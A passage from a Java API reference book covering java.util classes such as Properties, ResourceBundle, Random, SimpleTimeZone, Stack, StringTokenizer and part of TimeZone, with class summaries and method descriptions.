The object that has been changed.

arg

A "hint" object that describes the change.

Description

This method is called to indicate that the data in the model implemented by the specified Observable object has been modified. The arg parameter is used to communicate changed information from the model to its view.

This "hint" object can be used to efficiently update the views of a model. For example, an Observable object could represent satellite image data. A set of Observer objects would provide different graphical views of the data. If the model data changed, the arg object would describe the part of the data that changed, and the Observer views could use this "hint" to update only parts of their displays.

See Also

Observable

Previous | Home | Next
Observable | Book Index | Properties
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 17] Properties

Java Fundamental Classes Reference

Previous Chapter 17
The java.util Package 		Next

Properties

Name

Properties

Synopsis

Class Name:

java.util.Properties

Superclass:

java.util.Hashtable

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The Properties class is a subclass of Hashtable that deals exclusively with string keys and string values. Furthermore, a Properties object can be written to an OutputStream and read from an InputStream. Note that the load() and save() correctly convert Unicode strings to and from byte streams, using the getLocalizedInputStream() and getLocalizedOutputStream() methods of Runtime.

Class Summary

public class java.util.Properties extends java.util.Hashtable {
  // Variables
  protected Properties defaults;
  // Constructors
  public Properties();
  public Properties(Properties defaults);
  // Instance Methods
  public String getProperty(String key);
  public String getProperty(String key, String defaultValue);
  public void list(PrintStream out);
  public void list(PrintWriter out);                     // New in 1.1
  public synchronized void load(InputStream in);
  public Enumeration propertyNames();
  public synchronized void save(OutputStream out, String header);
}

Variables

defaults

protected Properties defaults

Description

A collection of default property values. If a key/value pair is not found in this Properties object, the defaults object is searched.

Constructors

Properties

public Properties()

Description

This constructor creates an empty Properties object.

public Properties(Properties defaults)

Parameters

defaults

A set of default key/value pairs.

Description

This constructor creates an empty Properties object that gets default values for keys that it does not contain from the given Properties object.

Instance Methods

getProperty

public String getProperty(String key)

Parameters

key

The key of the value to retrieve.

Returns

The value of the given property or null if the key is not associated with any value.

Description

This method returns the value that is associated with the given key. If the key is not found, a default value is returned if this object was created with a default Properties table that contains a value for the key. If neither a value nor a default value can be found, this method returns null.

public String getProperty(String key, String defaultValue)

Parameters

key

The key of the value to retrieve.

defaultValue

The value to return if key cannot be found.

Returns

The value of the given property or defaultValue if the key is not associated with any value.

Description

This method returns the value that is associated with the given key. If the key is not found, a default value is returned if this object was created with a default Properties table that contains a value for the key. If neither a value nor a default value can be found, this method returns defaultValue.

list

public void list(PrintStream out)

Parameters

out

The output stream to use.

Description

This method writes a listing of the contents of this object, in a format suitable for debugging, to the given PrintStream. As of JDK 1.1, use list(PrintWriter) instead.

public void list(PrintWriter out)

Availability

New as of JDK 1.1

Parameters

out

The output stream to use.

Description

This method writes a listing of the contents of this object, in a format suitable for debugging, to the given PrintWriter.

load

public synchronized void load(InputStream in) throws IOException

Parameters

in

The input stream to use.

Throws

IOException

If any kind of I/O error occurs.

Description

This method reads key/value pairs from the given InputStream. Here is the format the method expects:

  • Lines that begin with # or ! are comments and are ignored.

  • Blank lines are ignored.

  • All other lines should specify a key/value pair and be of the form:

    key = value

    or

    key : value

    or

    key value

All of these forms are equivalent. The method also recognizes the following escape characters and treats them as described:

Character | Treatment
\newline | An escaped newline character is ignored, along with the spaces or tabs that follow it
\n | Expands to a newline character
\r | Expands to a return character
\t | Expands to a tab character
\uxxxx | Expands to the Unicode character code specified by the hexadecimal digits

propertyNames

public Enumeration propertyNames()

Returns

The keys in this Properties object as an Enumeration.

Description

This method returns an Enumeration that iterates through the keys in this Properties object.

save

public synchronized void save(OutputStream out, String header)

Parameters

out

The output stream to use.

header

A header string.

Description

This method writes key/value pairs to the given OutputStream. The format of the output is such that it can be read by the load() method.

If header is not null, a # followed by header is written to the OutputStream first, thereby making the content of the string a comment that precedes the key/value pairs.

Inherited Methods

Method | Inherited From | Method | Inherited From
clear() | Hashtable | clone() | Hashtable
contains(Object) | Hashtable | containsKey(Object) | Hashtable
elements() | Hashtable | equals(Object) | Object
finalize() | Object | get(Object) | Hashtable
getClass() | Object | hashCode() | Object
isEmpty() | Hashtable | keys() | Hashtable
notify() | Object | notifyAll() | Object
put(Object, Object) | Hashtable | remove(Object) | Hashtable
size() | Hashtable | toString() | Hashtable
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Enumeration, Hashtable, InputStream, IOException, OutputStream, PrintStream, PrintWriter, Runtime

Previous | Home | Next
Observer | Book Index | PropertyResourceBundle
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 17] PropertyResourceBundle

Java Fundamental Classes Reference

Previous Chapter 17
The java.util Package 		Next

PropertyResourceBundle

Name

PropertyResourceBundle

Synopsis

Class Name:

java.util.PropertyResourceBundle

Superclass:

java.util.ResourceBundle

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The PropertyResourceBundle class is a concrete subclass of ResourceBundle that represents a set of resources for a locale. The resources are specified as a set of key/value string pairs in a property file. Internally, a Properties object is used to retrieve the resources from the property file.

When ResourceBundle.getBundle() is called, it attempts to find a resource bundle that most closely matches a particular locale. This can be either a ListResourceBundle subclass or a property file, represented by a PropertyResourceBundle. Once the resource bundle has been retrieved, its contents can be used by the application to present locale-specific information.

PropertyResourceBundle inherits a lot of functionality from ResourceBundle; see the class description of ResourceBundle for more information.

Class Summary

public class java.util.PropertyResourceBundle
             extends java.util.ResourceBundle {
  // Constructors
  public PropertyResourceBundle(InputStream stream);
  // Instance Methods
  public Enumeration getKeys();
  public Object handleGetObject(String key);
}

Constructors

PropertyResourceBundle

 public PropertyResourceBundle(InputStream stream) throws IOException

Parameters

stream

The input stream to use.

Throws

IOException

If any kind of I/O error occurs.

Description

This constructor creates a PropertyResourceBundle that reads properties from the given input stream.

Instance Methods

getKeys

public Enumeration getKeys()

Returns

The keys in the resource bundle as an Enumeration.

Overrides

ResourceBundle.getKeys()

Description

This method returns an Enumeration that iterates through the keys in this PropertyResourceBundle.

handleGetObject

public final Object handleGetObject(String key)

Parameters

key

The key of the resource to retrieve.

Returns

The resource that corresponds to this key.

Overrides

ResourceBundle.handleGetObject()

Description

This method returns the resource that corresponds to the given key.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
getObject(String) | ResourceBundle | getString(String) | ResourceBundle
getStringArray(String) | ResourceBundle | hashCode() | Object
notify() | Object | notifyAll() | Object
setParent(ResourceBundle) | ResourceBundle | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Enumeration, IOException, ListResourceBundle, Properties, ResourceBundle

Previous | Home | Next
Properties | Book Index | Random
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 17] Random

Java Fundamental Classes Reference

Previous Chapter 17
The java.util Package 		Next

Random

Name

Random

Synopsis

Class Name:

java.util.Random

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

java.io.Serializable

Availability:

JDK 1.0 or later

Description

The Random class is a pseudo-random number generator. Pseudo-random numbers are generated by starting with a seed value and then using an algorithm to generate a sequence of numbers that appear to be random. The Random class uses a 48-bit seed and a linear congruential algorithm to modify the seed. As a consequence of this implementation, two Random instances that are constructed with the same seed value generate exactly the same sequence of numbers.

The Random class provides methods that return pseudo-random values for various primitive Java types. The Math.random() method is easier to use if you do not need to fine-tune the generation of random numbers.

Class Summary

public class java.util.Random extends java.lang.Object
             implements java.io.Serializable {
  // Constructors
  public Random();
  public Random(long seed);
  // Instance Methods
  public void nextBytes(byte[] bytes);             // New in 1.1
  public double nextDouble();
  public float nextFloat();
  public synchronized double nextGaussian();
  public int nextInt();
  public long nextLong();
  public synchronized void setSeed(long seed);
  // Protected Instance Methods
  protected synchronized int next(int bits);       // New in 1.1
}

Constructors

Random

public Random()

Description

This constructor creates a Random object with the current time as its seed value.

public Random(long seed)

Parameters

seed

The seed value to use.

Description

This constructor creates a Random object with the given seed value.

Instance Methods

nextBytes

public void nextBytes(byte[] bytes)

Availability

New as of JDK 1.1

Parameters

bytes

The byte array to fill.

Description

This method fills the given array with pseudo-random byte values.

nextDouble

public double nextDouble()

Returns

The next pseudo-random double value.

Description

This method returns the next pseudo-random, uniformly distributed double value. The value is between 0.0 and 1.0 inclusive.

nextFloat

public float nextFloat()

Returns

The next pseudo-random float value.

Description

This method returns the next pseudo-random, uniformly distributed float value. The value is between 0.0 and 1.0 inclusive.

nextGaussian

public synchronized double nextGaussian()

Returns

The next pseudo-random double value.

Description

This method returns the next pseudo-random, Gaussian distributed double value. The value has a mean of 0.0 and a standard deviation of 1.0 from the random number sequence. The value is between -1.0 and 1.0.

nextInt

public int nextInt()

Returns

The next pseudo-random int value.

Description

This method returns the next pseudo-random, uniformly distributed int value.

nextLong

public long nextLong()

Returns

The next pseudo-random long value.

Description

This method returns the next pseudo-random, uniformly distributed long value.

setSeed

public synchronized void setSeed(long seed)

Parameters

seed

The new seed value.

Description

This method sets this Random object's seed value to the given value.

Protected Instance Methods

next

protected synchronized int next(int bits)

Availability

New as of JDK 1.1

Parameters

bits

The number of bits to generate.

Returns

The specified number of pseudo-random bits.

Description

This method generates the given number of bits and returns them as an integer value. A subclass of Random should override this method, as it is used by all of the other random-number generation methods in the class.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Math, Serializable

Previous | Home | Next
PropertyResourceBundle | Book Index | ResourceBundle
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 17] ResourceBundle

Java Fundamental Classes Reference

Previous Chapter 17
The java.util Package 		Next

ResourceBundle

Name

ResourceBundle

Synopsis

Class Name:

java.util. ResourceBundle

Superclass:

java.lang.Object

Immediate Subclasses:

java.util.ListResourceBundle, java.util.PropertyResourceBundle

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The ResourceBundle class is an abstract class that represents a set of localized data. An application retrieves a ResourceBundle based on its locale. A ResourceBundle can contain GUI labels and other locale-specific information that the application needs to run in a specific locale.

Conceptually, a resource bundle is a set of related classes that all inherit from a particular subclass of ResourceBundle. The base resource bundle defines all of the resources for a particular application, while each of the subclasses specifies the appropriate values for a particular locale. Each subclass has the same base name, plus a suffix that identifies its locale.

A static method, getBundle(), is used to locate a resource bundle for a particular locale. This method searches for resources in two forms. First, it looks for a subclass of ResourceBundle or ListResourceBundle with the appropriate name. If one is found, an instance of the class is created and returned. If no appropriate subclass can be found, getBundle() then searches for a property file with the appropriate name. If one is found, a PropertyResourceBundle is created from the file and returned.

The getBundle() method constructs a name from a specified base resource name and the locale. It then searches for either a class or a property file with this name. If the method fails to find an exact match, it tries to find a close match. The method constructs names by dropping to the next name on the list if the current name cannot be found:

  • base + "_" + language + "_" + country + "_" + variant

  • base + "_" + language + "_" + country

  • base + "_" + language

  • base

  • base + "_" + default language + "_" + default country + "_" + default variant

  • base + "_" + default language + "_" + default country

  • base + "_" + default language

For example, if you call getBundle('Labels', new Locale('it', 'IT', 'Be')), the method looks for a class or property file with one of the following names (assuming the default locale is the United States):

  • Labels_it_IT_Be

  • Labels_it_IT

  • Labels_it

  • Labels

  • Labels_en_US_Be

  • Labels_en_US

  • Labels_en

A particular ResourceBundle object contains a set of key/value pairs that defines the resources for a particular application. The keys are always String objects that name the resources, while the values can be any sort of object needed for the application. The ResourceBundle class defines convenience methods for retrieving String and String[] objects. If you need to use other kinds of objects, you can use the getObject() method to retrieve them and simply cast the results to the appropriate types.

Class Summary

public abstract class java.util.ResourceBundle extends java.lang.Object {
  // Variables
  protected ResourceBundle parent;
  // Class Methods
  public final static ResourceBundle getBundle(String baseName);
  public final static ResourceBundle getBundle(String baseName,
                                              Locale locale);
  // Instance Methods
  public abstract Enumeration getKeys();
  public final Object getObject(String key)j;
  public final String getString(String key);
  public final String[] getStringArray(String key);
  // Protected Instance Methods
  protected abstract Object handleGetObject(String key);
  protected void setParent(ResourceBundle parent);
}

Variables

parent

protected ResourceBundle parent

Description

The parent ResourceBundle of this ResourceBundle. If this ResourceBundle does not contain a particular resource, its parent is searched. The parent can be set using setParent().

Class Methods

getBundle

 public final static ResourceBundle getBundle(String baseName) throws MissingResourceException

Parameters

baseName

The resource name.

Returns

The named ResourceBundle for the default locale.

Throws

MissingResourceException

If a matching ResourceBundle can't be located.

Description

This method finds or constructs the appropriate ResourceBundle subclass specified by baseName and localized for the default locale. See the description of the ResourceBundle class for more information about how this method works.

 public final static ResourceBundle getBundle(String baseName, Locale locale)

Parameters

baseName

The resource name.

locale

The Locale to use.

Returns

The named ResourceBundle for the given locale.

Throws

MissingResourceException

If a matching ResourceBundle can't be located.

Description

This method finds or constructs the appropriate ResourceBundle subclass specified by baseName and localized for the given locale. See the description of the ResourceBundle class for more information about how this method works.

Instance Methods

getKeys

public abstract Enumeration getKeys()

Returns

The keys in the ResourceBundle as an Enumeration.

Description

This method returns an Enumeration that iterates through the keys in this ResourceBundle. A subclass of ResourceBundle must provide an implementation for this method.

getObject

 public final Object getObject(String key) throws MissingResourceException

Parameters

key

The key of the resource to retrieve.

Returns

The Object identified by key.

Throws

MissingResourceException

If the resource cannot be found.

Description

This method returns the named resource as an Object. If the named resource is not found in this ResourceBundle, the parent ResourceBundle is searched.

getString

 public final String getString(String key) throws MissingResourceException

Parameters

key

The key of the resource to retrieve.

Returns

The String object identified by key.

Throws

MissingResourceException

If the resource cannot be found.

Description

This method returns the named resource as a String object. This method is a convenience routine that calls getObject() and casts the result to a String object.

getStringArray

 public final String[] getStringArray(String key) throws MissingResourceException

Parameters

key

The key of the resource to retrieve.

Returns

The String[] array identified by key.

Throws

MissingResourceException

If the resource cannot be found.

Description

This method returns the named resource as an array of String objects. This method is a convenience routine that calls getObject() and casts the result to a String[] object.

Protected Instance Methods

handleGetObject

 protected abstract Object handleGetObject(String key) throws MissingResourceException

Parameters

key

The key of the resource to retrieve.

Returns

The resource that corresponds to this key.

Throws

MissingResourceException

If the resource cannot be found.

Description

This method returns the resource that corresponds to the given key. This method is called directly by getObject(), so it is called indirectly by getMenu(), getMenuBar(), getString(), and getStringArray().

A subclass of ResourceBundle must provide an implementation for this method.

setParent

protected void setParent(ResourceBundle parent)

Parameters

parent

The new parent of this ResourceBundle.

Description

This method sets the parent ResourceBundle of this ResourceBundle. If a requested resource cannot be found in this ResourceBundle, the parent is searched.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Enumeration, ListResourceBundle, Locale, PropertyResourceBundle, String

Previous | Home | Next
Random | Book Index | SimpleTimeZone
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 17] SimpleTimeZone

Java Fundamental Classes Reference

Previous Chapter 17
The java.util Package 		Next

SimpleTimeZone

Name

SimpleTimeZone

Synopsis

Class Name:

java.util.SimpleTimeZone

Superclass:

java.util.TimeZone

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The SimpleTimeZone class is a concrete subclass of the abstract TimeZone class. SimpleTimeZone represents a time zone offset for use with GregorianCalendar. SimpleTimeZone does not take into account the historical vicissitudes of daylight savings time, however. Instead, it assumes that the shifts to and from daylight savings time always occur at the same time of the year.

Normally, SimpleTimeZone objects are not created directly, but instead obtained by calling TimeZone.getDefault(). This method creates a subclass of TimeZone that is appropriate for the current locale. You can also call TimeZone.getTimeZone() to obtain a TimeZone object for a specific time zone.

Class Summary

public class java.util.SimpleTimeZone extends java.util.TimeZone {
  // Constructors
  public SimpleTimeZone(int rawOffset, String ID);
  public SimpleTimeZone(int rawOffset, String ID, int startMonth,
                       int startDayOfWeekInMonth, int startDayOfWeek,
                       int startTime, int endMonth, int endDayOfWeekInMonth,
                       int endDayOfWeek, int endTime);
  // Instance Methods
  public Object clone();
  public boolean equals(Object obj);
  public int getOffset(int era, int year, int month, int day,
                      int dayOfWeek, int millis);
  public int getRawOffset();
  public synchronized int hashCode();
  public boolean inDaylightTime(Date date);
  public void setEndRule(int month, int dayOfWeekInMonth,
                        int dayOfWeek, int time);
  public void setRawOffset(int offsetMillis);
  public void setStartRule(int month, int dayOfWeekInMonth,
                          int dayOfWeek, int time);
  public void setStartYear(int year);
  public boolean useDaylightTime();
}

Constructors

SimpleTimeZone

public SimpleTimeZone(int rawOffset, String ID)

Parameters

rawOffset

The raw offset of this time zone from GMT, in milliseconds.

ID

The ID of this time zone.

Description

This constructor creates a SimpleTimeZone that uses the given offset from GMT and has the specified ID. This constructor creates a SimpleTimeZone that does not use daylight savings time.

 public SimpleTimeZone(int rawOffset, String ID, int startMonth, int startDayOfWeekInMonth, int startDayOfWeek, int startTime, int endMonth, int endDayOfWeekInMonth, int endDayOfWeek, int endTime)

Parameters

rawOffset

The raw offset of this time zone from GMT, in milliseconds.

ID

The ID of this time zone.

startMonth

The month when daylight savings time begins.

startDayOfWeekInMonth

The week in the month when daylight savings time begins.

startDayOfWeek

The day of the week when daylight savings time begins.

startTime

The time of day when daylight savings time begins, in milliseconds.

endMonth

The month when daylight savings time ends.

endDayOfWeekInMonth

The week in the month when daylight savings time ends.

endDayOfWeek

The day of the week when daylight savings time ends.

endTime

The time of day when daylight savings time ends, in milliseconds.

Description

This constructor creates a SimpleTimeZone that uses the given offset from GMT, has the specified ID, and uses daylight savings time. Daylight savings time begins and ends at the specified dates and times.

For example, Brazil Eastern Time (BET) is three hours behind GMT. Daylight savings time for BET starts on the first Sunday in April at 2:00 AM, and ends on the last Sunday in October, also at 2:00 A.M. To construct a TimeZone that represents BET, you would use the following:

new SimpleTimeZone(-3 * 60 * 60 * 1000, "BET",
                  Calendar.APRIL, 1,
                  Calendar.SUNDAY, 2 * 60 * 60 * 1000,
                  Calendar.OCTOBER, -1,
                  Calendar.SUNDAY, 2 * 60 * 60 * 1000)

Instance Methods

clone

public Object clone()

Returns

A copy of this SimpleTimeZone.

Overrides

TimeZone.clone()

Description

This method creates a copy of this SimpleTimeZone and returns it.

equals

public boolean equals(Object obj)

Parameters

obj

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if obj is an instance of SimpleTimeZone, and it contains the same value as the object this method is associated with.

getOffset

 public int getOffset(int era, int year, int month, int day, int dayOfWeek, int millis)

Parameters

era

The era.

year

The year.

month

The month.

day

The day.

dayOfWeek

The day of the week.

millis

The time of day in milliseconds.

Returns

An offset from GMT, in milliseconds.

Overrides

TimeZone.getOffset()

Description

This method calculates an offset from GMT for the given date for this SimpleTimeZone. In other words, the offset takes daylight savings time into account. The return value should be added to GMT to get local time.

getRawOffset

public int getRawOffset()

Returns

An offset from GMT, in milliseconds.

Overrides

TimeZone.getRawOffset()

Description

This method returns the raw offset from GMT for this SimpleTimeZone. In other words, the offset does not take daylight savings time into account.

hashCode

public synchronized int hashCode()

Returns

A hashcode for this SimpleTimeZone.

Overrides

Object.hashCode()

Description

This method returns a hashcode for this object.

inDaylightTime

public boolean inDaylightTime(Date date)

Parameters

date

The date to be tested.

Returns

true if the given date is between the start and end of daylight savings time for this SimpleTimeZone; false otherwise.

Overrides

TimeZone.inDaylightTime()

Description

This method returns a boolean value that indicates if the given date is in daylight savings time for this SimpleTimeZone.

setEndRule

 public void setEndRule(int month, int dayOfWeekInMonth, int dayOfWeek, int time)

Parameters

month

The month when daylight savings time ends.

DayOfWeekInMonth

The week of the month when daylight savings time ends.

dayOfWeek

The day of the week when daylight savings time ends.

time

The time of day when daylight savings time ends, in milliseconds.

Description

This method sets the time when daylight savings time ends for this SimpleTimeZone. For example, to set the end of daylight savings time to 2 A.M. on the last Sunday in October, you would use the following:

setEndRule(Calendar.OCTOBER, -1, Calendar.SUNDAY,
           2 * 60 * 60 * 1000)

setRawOffset

public void setRawOffset(int offsetMillis)

Parameters

offsetMillis

The new raw offset from GMT, in milliseconds.

Overrides

TimeZone.setRawOffset()

Description

This method is used to set the raw offset value for this SimpleTimeZone.

setStartRule

 public void setStartRule(int month, int dayOfWeekInMonth, int dayOfWeek, int time)

Parameters

month

The month when daylight savings time begins.

DayOfWeekInMonth

The week of the month when daylight savings time begins.

dayOfWeek

The day of the week when daylight savings time begins.

time

The time of day when daylight savings time begins, in milliseconds.

Description

This method sets the time when daylight savings time begins for this SimpleTimeZone. For example, to set the beginning of daylight savings time to 2 A.M. on the first Sunday in April, you would use the following:

setEndRule(Calendar.APRIL, 1, Calendar.SUNDAY,
           2 * 60 * 60 * 1000)

setStartYear

public void setStartYear(int year)

Parameters

year

The year when daylight savings time begins.

Description

This method sets the year after which the start and end rules for daylight savings time are observed.

useDaylightTime

public boolean useDaylightTime()

Returns

true if this SimpleTimeZone uses daylight savings time; false otherwise.

Overrides

TimeZone.useDaylightTime()

Description

This method returns a boolean value that indicates whether or not this SimpleTimeZone uses daylight savings time.

Inherited Methods

Method | Inherited From | Method | Inherited From
finalize() | Object | getClass() | Object
getID() | TimeZone | notify() | Object
notifyAll() | Object | setID() | TimeZone
toString() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Calendar, Cloneable, Date, GregorianCalendar, Locale, TimeZone

Previous | Home | Next
ResourceBundle | Book Index | Stack
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 17] Stack

Java Fundamental Classes Reference

Previous Chapter 17
The java.util Package 		Next

Stack

Name

Stack

Synopsis

Class Name:

java.util.Stack

Superclass:

java.util.Vector

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

Stack represents a last-in-first-out (LIFO) object stack. The push() method places an object on the top of the stack, while the pop() method retrieves the top object from the stack. The peek() method returns the top object without removing it from the stack.

Class Summary

public class java.util.Stack extends java.util.Vector {
  // Instance Methods
  public boolean empty();
  public synchronized Object peek();
  public synchronized Object pop();
  public Object push(Object item);
  public synchronized int search(Object o);
}

Instance Methods

empty

public boolean empty()

Returns

true if there are no objects on the Stack; false otherwise.

Description

This method returns a boolean value that indicates whether or not the Stack is empty.

peek

public Object peek()

Returns

A reference to the object that is returned by the next call to pop().

Throws

EmptyStackException

If the stack is empty.

Description

This method returns a reference to the object on the top of this Stack without removing it.

pop

public Object pop()

Returns

The object on top of this Stack.

Throws

EmptyStackException

If the stack is empty.

Description

This method returns the object on top of this Stack.

push

public Object push(Object item)

Parameters

item

The object to be added to the top of the stack.

Returns

The object just pushed.

Description

This method places the object on the top of this Stack.

search

public synchronized int search(Object o)

Parameters

o

The object to be found.

Returns

The object's distance from the top of the stack or -1 if it cannot be found.

Description

This method is used to determine if an object is on this Stack.

Inherited Variables

Method | Inherited From | Method | Inherited From
capacityIncrement | Vector | elementCount | Vector
elementData | Vector |  |

Inherited Methods

Method | Inherited From | Method | Inherited From
addElement() | Vector | capacity() | Vector
clone() | Vector | contains(Object) | Vector
copyInto(Object[]) | Vector | elementAt(int) | Vector
elements() | Vector | ensureCapacity(int) | Vector
equals() | Object | finalize() | Object
firstElement() | Vector | getClass() | Object
hashCode() | Object | indexOf(Object) | Vector
indexOf(Object, int) | Vector | insertElementAt(Object, int) | Vector
isEmpty() | Vector | lastElement() | Vector
lastIndexOf(Object) | Vector | lastIndexOf(Object, int) | Vector
notify() | Object | notifyAll() | Object
removeAllElements() | Vector | removeElement(Object) | Vector
removeElementAt(int) | Vector | setElementAt(Object, int) | Vector
setSize() | Vector | size() | Vector
toString() | Vector | trimToSize() | Vector
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

EmptyStackException, Vector

Previous | Home | Next
SimpleTimeZone | Book Index | StringTokenizer
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 17] StringTokenizer

Java Fundamental Classes Reference

Previous Chapter 17
The java.util Package 		Next

StringTokenizer

Name

StringTokenizer

Synopsis

Class Name:

java.util.StringTokenizer

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

java.util.Enumeration

Availability:

JDK 1.0 or later

Description

The StringTokenizer class implements a simple, delimiter-based string tokenizer. In other words, a StringTokenizer is used to break a String into tokens separated by delimiter characters. By default, the class uses the standard whitespace characters as delimiters, but you can specify any delimiter characters you want, either when the StringTokenizer is created or on a token-by-token basis. You can also specify whether the delimiters are returned as tokens or not. A StringTokenizer returns the tokens in its String in order, either as String objects or as Objects in an Enumeration.

StringTokenizer shouldn't be confused with the more complex java.io.StreamTokenizer, which parses a stream into tokens that are similar to those used in the Java language.

Class Summary

public class java.util.StringTokenizer extends java.lang.Object
             implements java.util.Enumeration {
  // Constructors
  public StringTokenizer(String str);
  public StringTokenizer(String str, String delim);
  public StringTokenizer(String str, String delim, boolean returnTokens);
  // Instance Methods
  public int countTokens();
  public boolean hasMoreElements();
  public boolean hasMoreTokens();
  public Object nextElement();
  public String nextToken();
  public String nextToken(String delim);
}

Constructors

StringTokenizer

public StringTokenizer(String str)

Parameters

str

The String to be tokenized.

Description

This constructor creates a StringTokenizer that breaks apart the given string using the default delimiter characters. The default delimiters are the standard whitespace characters: space, tab (\t), carriage return (\r), and newline (\n).

public StringTokenizer(String str, String delim)

Parameters

str

The String to be tokenized.

delim

The delimiter characters.

Description

This constructor creates a StringTokenizer that breaks apart the given string using the characters in delim as delimiter characters.

 public StringTokenizer(String str, String delim, boolean returnTokens)

Parameters

str

The String to be tokenized.

delim

The delimiter characters.

returnTokens

A boolean value that indicates whether or not delimiters should be returned as tokens.

Description

This constructor creates a StringTokenizer that breaks apart the given string using the characters in delim as delimiter characters. If returnTokens is true, the delimiters are returned as tokens; otherwise they are skipped.

Instance Methods

countTokens

public int countTokens()

Returns

The number of tokens remaining in the string.

Description

This method returns the number of tokens that remain in the string, which is the same as the number of times nextToken() can be called before an exception is thrown.

hasMoreElements

public boolean hasMoreElements()

Returns

true if there are more tokens to be returned; false otherwise.

Implements

Enumeration.hasMoreElements()

Description

This method returns the result of calling hasMoreTokens().

hasMoreTokens

public boolean hasMoreTokens()

Returns

true if there are more tokens to be returned; false otherwise.

Description

This method returns true if this object has more tokens to return.

nextElement

public Object nextElement()

Returns

The next token as an Object.

Throws

NoSuchElementException

If there are no more tokens in the string.

Implements

Enumeration.nextElement()

Description

This method returns result of calling nextToken().

nextToken

public String nextToken()

Returns

The next token as a String.

Throws

NoSuchElementException

If there are no more tokens in the string.

Description

This method returns the next token.

public String nextToken(String delim)

Parameters

delim

The delimiter characters.

Returns

The next token as a String.

Throws

NoSuchElementException

If there are no more tokens in the string.

Description

This method sets the delimiter characters to the characters in the given string and then returns the next token. The change in delimiters persists until another call to this method changes them again.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Objxect | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Enumeration, NoSuchElementException, StreamTokenizer, String

Previous | Home | Next
Stack | Book Index | TimeZone
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 17] TimeZone

Java Fundamental Classes Reference

Previous Chapter 17
The java.util Package 		Next

TimeZone

Name

TimeZone

Synopsis

Class Name:

java.util.TimeZone

Superclass:

java.lang.Object

Immediate Subclasses:

java.util.SimpleTimeZone

Interfaces Implemented:

java.io.Serializable, java.lang.Cloneable

Availability:

New as of JDK 1.1

Description

The TimeZone class is an abstract class that represents a time zone offset. In addition, the class incorporates knowledge about daylight savings time. Usually, you get a TimeZone object by calling getDefault(). This method creates a TimeZone that is appropriate for the current locale. You can also call getTimeZone() to obtain a TimeZone object for a specific time zone.

Class Summary

public abstract class java.util.TimeZone extends java.lang.Object
                      implements java.io.Serializable, java.lang.Cloneable {
  // Class Methods
  public static synchronized String[] getAvailableIDs();
  public static synchronized String[] getAvailableIDs(int rawOffset);
  public static synchronized TimeZone getDefault();
  public static synchronized TimeZone getTimeZone(String ID);
  public static synchronized void setDefault(TimeZone zone);
  // Instance Methods
  public Object clone();
  public String getID();
  public abstract int getOffset(int era, int year, int month,
                               int day, int dayOfWeek, int milliseconds);
  public abstract int getRawOffset();
  public abstract boolean inDaylightTime(Date date);
  public void setID(String ID);
  public abstract void setRawOffset(int offsetMillis);
  public abstract boolean useDaylightTime();
}

Class Methods

getAvailiableIDs

public static synchronized String[] getAvailableIDs()

Returns

An array of strings that contains the predefined time zone IDs.

Description

This method returns a list of the predefined time zone IDs. Time zones are defined for the following ID values, starting from Greenwich, England, and progressing eastward around the world:

GMT | Greenwich Mean Time
ECT | European Central Time
EET | Eastern European Time
ART | (Arabic) Egypt Standard Time
EAT | Eastern African Time
MET | Middle East Time
NET | Near East Time
PLT | Pakistan Lahore Time
IST | India Standard Time
BST | Bangladesh Standard Time
VST | Vietnam Standard Time
CTT | China Taiwan Time
JST | Japan Standard Time
ACT | Australia Central Time
AET | Australia Eastern Time
SST | Solomon Standard Time
NST | New Zealand Standard Time
MIT | Midway Islands Time
HST | Hawaii Standard Time
AST | Alaska Standard Time
PST | Pacific Standard Time
PNT | Phoenix Standard Time
MST | Mountain Standard Time
CST | Central Standard Time
EST | Eastern Standard Time
IET | Indiana Eastern Standard Time
PRT | Puerto Rico and U.S. Virgin Islands Time
CNT | Canada Newfoundland Time
AGT | Argentina Standard Time
BET | Brazil Eastern Time
CAT | Central African Time

public static synchronized String[] getAvailableIDs(int rawOffset)

Returns

An array of strings that contains the predefined time zone IDs with the given raw offset value.

Description

This method returns a list of the predefined time zone IDs that have the given raw offset value from GMT. For example, both PNT and MST have an offset of GMT-07:00.

getDefault

public static synchronized TimeZone getDefault()

Returns

